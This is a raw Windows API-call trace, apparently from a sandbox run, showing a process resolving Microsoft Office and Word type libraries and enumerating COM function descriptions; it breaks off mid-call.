(_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 2 [0120.666] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 2 [0120.666] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0120.666] IUnknown:AddRef (This=0x276454c16e0) returned 0x4 [0120.666] ITypeLib:RemoteGetLibAttr (in: This=0x276454c16e0, ppTLibAttr=0xb5690f5d68, pDummy=0x0 | out: ppTLibAttr=0xb5690f5d68, pDummy=0x0) returned 0x0 [0120.666] ITypeLib:RemoteGetDocumentation (in: This=0x276454c16e0, index=-1, refPtrFlags=0x690f5d80, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0120.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=63, lpMultiByteStr=0xb5690f5df0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLLDLL", lpUsedDefaultChar=0x0) returned 63 [0120.666] strcpy_s (in: _Dst=0x2764ba54900, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0120.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0xb5690f5f00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0120.666] strcpy_s (in: _Dst=0x2764ba54948, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0120.666] IUnknown:AddRef (This=0x276454c16e0) returned 0x5 [0120.666] ITypeLib:LocalReleaseTLibAttr (This=0x276454c16e0) returned 0x0 [0120.666] IUnknown:Release (This=0x276454c16e0) returned 0x4 [0120.667] IUnknown:QueryInterface (in: This=0x2764af38878, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f59b0 | out: ppvObject=0xb5690f59b0*=0x0) returned 0x80004002 [0120.667] IUnknown:AddRef (This=0x2764af38878) returned 0x3 [0120.667] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38878, ppTypeAttr=0xb5690f59c8, pDummy=0xb5690f59b0 | out: ppTypeAttr=0xb5690f59c8, pDummy=0xb5690f59b0*=0x0) returned 0x0 [0120.667] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38878) returned 0x0 [0120.667] IUnknown:Release (This=0x2764af38878) returned 0x2 [0120.667] IUnknown:Release (This=0x2764af38878) returned 0x1 [0120.667] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x118) returned 0x2764b753620 [0120.667] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba56bd0 [0120.667] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xe30) returned 0x2764b858d40 [0120.667] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38928, ppTypeAttr=0xb5690f59a8, pDummy=0xb5690f59e4 | out: ppTypeAttr=0xb5690f59a8, pDummy=0xb5690f59e4*=0xffffffff) returned 0x0 [0120.667] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x0, ppFuncDesc=0xb5690f59a0, pDummy=0x27644fa5cb0 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x27644fa5cb0*=0xe7edf3f0) returned 0x0 [0120.667] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.667] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x1, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.667] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.667] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x2, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.667] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.667] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x3, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.667] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.667] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x4, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x5, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x6, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x7, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x8, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x9, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0xa, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0xb, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0xc, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38928, ppTypeAttr=0xb5690f59a8, pDummy=0xb5690f59e4 | out: ppTypeAttr=0xb5690f59a8, pDummy=0xb5690f59e4*=0xffffffff) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x0, ppFuncDesc=0xb5690f59a0, pDummy=0x27644fa5cb0 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x27644fa5cb0*=0xe7edf3f0) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x1, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x2, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x3, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x4, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x5, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x6, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x7, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x8, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.668] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x9, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.668] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.669] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0xa, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.669] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.669] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0xb, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.669] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.669] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0xc, ppFuncDesc=0xb5690f59a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f59a0, pDummy=0x6) returned 0x0 [0120.669] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0120.669] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38928) returned 0x0 [0120.669] IUnknown:Release (This=0x2764af38928) returned 0x3 [0120.669] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9de700 [0120.669] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dee60 [0120.669] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9debe0 [0120.669] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cf4b0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f52a8 | out: ppvObject=0xb5690f52a8*=0x0) returned 0x80004002 [0120.669] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38928, ppTypeAttr=0xb5690f52a0, pDummy=0xb5690f52a8 | out: ppTypeAttr=0xb5690f52a0, pDummy=0xb5690f52a8*=0x0) returned 0x0 [0120.669] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f5228 | out: ppvObject=0xb5690f5228*=0x0) returned 0x80004002 [0120.669] IUnknown:AddRef (This=0x2764af38928) returned 0x4 [0120.669] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38928, ppTypeAttr=0xb5690f5220, pDummy=0xb5690f5228 | out: ppTypeAttr=0xb5690f5220, pDummy=0xb5690f5228*=0x0) returned 0x0 [0120.669] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38928) returned 0x0 [0120.669] IUnknown:Release (This=0x2764af38928) returned 0x3 [0120.669] strcpy_s (in: _Dst=0x2764ba56c28, _DstSize=0x9, _Src="Document" | out: _Dst="Document") returned 0x0 [0120.669] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc8) returned 0x2764ba4d6e0 [0120.669] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38928, ppTypeAttr=0xb5690f51e0, pDummy=0x2764af38928 | out: ppTypeAttr=0xb5690f51e0, pDummy=0x2764af38928*=0xe81ef308) returned 0x0 [0120.669] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2764af38928, ppTLib=0xb5690f51e8, pIndex=0xb5690f5228 | out: ppTLib=0xb5690f51e8*=0x276454c2ce0, pIndex=0xb5690f5228*=0x20e) returned 0x0 [0120.670] ITypeLib:RemoteGetLibAttr (in: This=0x276454c2ce0, ppTLibAttr=0xb5690f4ed8, pDummy=0x0 | out: ppTLibAttr=0xb5690f4ed8, pDummy=0x0) returned 0x0 [0120.670] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2ce0, index=-1, refPtrFlags=0x690f4ef0, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0120.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=58, lpMultiByteStr=0xb5690f4f60, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 58 [0120.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0xb5690f5070, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0120.670] ITypeLib:LocalReleaseTLibAttr (This=0x276454c2ce0) returned 0x0 [0120.670] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764b9ca610 [0120.670] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba57290 [0120.670] IUnknown:AddRef (This=0x2764af38928) returned 0x4 [0120.670] IUnknown:Release (This=0x276454c2ce0) returned 0x18 [0120.670] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38928) returned 0x0 [0120.670] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38928) returned 0x0 [0120.670] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0120.670] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x14) returned 0x2764b9de7c0 [0120.670] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0120.670] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764b9caa60 [0120.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de7c0) [0120.670] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f6a98 | out: ppvObject=0xb5690f6a98*=0x2764af387c8) returned 0x0 [0120.671] ITypeInfo2:GetCustData (in: This=0x2764af387c8, GUID=0x7ff9be1d5de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xb5690f6aa8 | out: pVarVal=0xb5690f6aa8*(varType=0x0, wReserved1=0x690f, wReserved2=0xb5, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0120.671] IUnknown:Release (This=0x2764af387c8) returned 0x2 [0120.671] ITypeInfo:RemoteGetDocumentation (in: This=0x2764af387c8, memid=-1, refPtrFlags=0x690f6aa0, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f6ac0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f6ac0*="") returned 0x0 [0120.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xb5690f69b0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0120.671] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document") returned 0x40d36a [0120.671] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38878, ppTypeAttr=0xb5690f6aa0, pDummy=0x0 | out: ppTypeAttr=0xb5690f6aa0, pDummy=0x0) returned 0x0 [0120.671] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38878) returned 0x0 [0120.671] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x0, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.671] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.671] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.671] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.671] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.671] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.671] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.671] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.671] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.671] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.671] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.671] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.671] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.671] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.671] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.671] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.671] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.671] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.671] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.671] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.671] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.671] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.671] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x10, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x11, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x12, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x13, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x14, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x15, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x16, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x17, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x18, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x19, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1a, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1b, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1c, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.672] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1d, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.672] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, 